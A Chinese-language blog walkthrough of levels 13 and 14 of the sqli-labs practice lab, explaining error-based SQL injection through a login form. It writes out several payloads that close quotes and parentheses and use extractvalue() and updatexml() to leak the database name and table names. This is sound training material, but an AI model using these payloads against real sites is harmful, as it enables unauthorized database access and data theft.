sql-labs-less13/less14|SQL注入

前言:

本章为此系列第13关和第14关,前面涉及到的语句这里不再讲解,如果有不明白的可以查看前面的文章都在这里,如果错误欢迎大佬指正!

正文:

less13:

这一关和12关区别不是很大,测试的时候要让12关的双引号换为单引号,同样要用右括号闭合,即这样uname=1’)#&passwd=1这里不在放图,这一关注入正确语句不会回显任何内容,所以还是需要盲注,使用updatexml()函数或者extractvalue()函数使用方法请参考第5关的文章sql-labs-less5/6|SQL注入,不在赘述,这里放一张爆数据库的图:
sql-labs-less13/less14|SQL注入

sql语句:

uname=1’) and extractvalue(1,concat(’~’,database()))#&passwd=1

不过需要注意的是,在爆多个字段时跟第五关有不一样了,即便使用分组函数一样不会显示字段,图示:
sql-labs-less13/less14|SQL注入
sql语句:

uname=1’) and extractvalue(1,concat(’~’,(select table_name from information_schema.tables where table_schema=‘security’)))#&passwd=1

报错内容为大致意思为不能显示多个字段,所以要加上limit语句一条一条查看,如图:
sql-labs-less13/less14|SQL注入
sql语句为:

uname=1’) and extractvalue(1,concat(’~’,(select table_name from
information_schema.tables where table_schema=‘security’ limit
1,1)))#&passwd=1

flag为数据库的第一个表,想查看后面的表只需要limit第一个参数以此递增即可,使用updatexml函数除了语法跟这个有差别之外其他都是一样的。

less14:

这一关依然是报错注入,让13关的单引号换成双引号就行了,不过不用使用右括号闭合,下图:
sql-labs-less13/less14|SQL注入
成功爆出数据库名
sql语句:

uname=1" and updatexml(1,concat(’~’,database()),1)#&passwd=1

其他的都和上面一下,不再多说,感谢支持!